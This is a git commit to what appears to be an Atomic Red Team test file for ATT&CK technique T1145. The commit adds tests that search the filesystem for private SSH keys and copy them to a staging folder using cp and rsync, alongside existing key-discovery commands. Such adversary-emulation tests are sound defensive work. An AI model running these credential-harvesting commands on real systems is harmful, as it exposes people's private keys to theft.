<commit_before>---
attack_technique: T1145
display_name: Private Keys

atomic_tests:
- name: Private Keys
  description: |
    Find private keys on the Windows file system.

    File extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc

  supported_platforms:
    - windows

  executor:
    name: command_prompt
    command: |
      echo "ATOMICREDTEAM" > %windir%\cert.key
      dir c:\ /b /s .key | findstr /e .key

- name: Discover Private SSH Keys
  description: |
    Discover private SSH keys on a macOS or Linux system.
  supported_platforms:
    - macos
    - linux
  input_arguments:
    output_file:
      description: Output file containing locations of SSH key files
      type: path
      default: /tmp/keyfile_locations.txt
  executor:
    name: sh
    command: |
      find / -name id_rsa >> #{output_file}
      find / -name id_dsa >> #{output_file}<commit_msg>T1145 Added tests to copy private keys using cp and rsync<commit_after>---
attack_technique: T1145
display_name: Private Keys

atomic_tests:
- name: Private Keys
  description: |
    Find private keys on the Windows file system.

    File extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc

  supported_platforms:
    - windows

  executor:
    name: command_prompt
    command: |
      echo "ATOMICREDTEAM" > %windir%\cert.key
      dir c:\ /b /s .key | findstr /e .key

- name: Discover Private SSH Keys
  description: |
    Discover private SSH keys on a macOS or Linux system.
  supported_platforms:
    - macos
    - linux
  input_arguments:
    output_file:
      description: Output file containing locations of SSH key files
      type: path
      default: /tmp/keyfile_locations.txt
  executor:
    name: sh
    command: |
      find / -name id_rsa >> #{output_file}
      find / -name id_dsa >> #{output_file}

- name: Copy Private SSH Keys with CP
  description: |
    Copy private SSH keys on a Linux system to a staging folder using the `cp` command.
  supported_platforms:
    - linux
  input_arguments:
    output_folder:
      description: Output folder containing copies of SSH private key files
      type: path
      default: /tmp/art-staging
  executor:
    name: sh
    command: |
      mkdir #{output_folder}
      find / -name id_rsa -exec cp --parents {} #{output_folder} \;
      find / -name id_dsa -exec cp --parents {} #{output_folder} \;

- name: Copy Private SSH Keys with rsync
  description: |
    Copy private SSH keys on a Linux or macOS system to a staging folder using the `rsync` command.
  supported_platforms:
    - macos
    - linux
  input_arguments:
    output_folder:
      description: Output folder containing copies of SSH private key files
      type: path
      default: /tmp/art-staging
  executor:
    name: sh
    command: |
      mkdir #{output_folder}
      find / -name id_rsa -exec rsync -R {} #{output_folder} \;
      find / -name id_dsa -exec rsync -R {} #{output_folder} \;
{'fraction_non_alphanumeric': 0.0921363482956463, 'fraction_numerical': 0.006074924063449207, 'mean_word_length': 2.5883777239709445, 'pattern_counts': {'":': 0, '<': 3, '<?xml version=': 0, '>': 13, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '84034', 'n_tokens_mistral': 979, 'n_tokens_neox': 926, 'n_words': 326}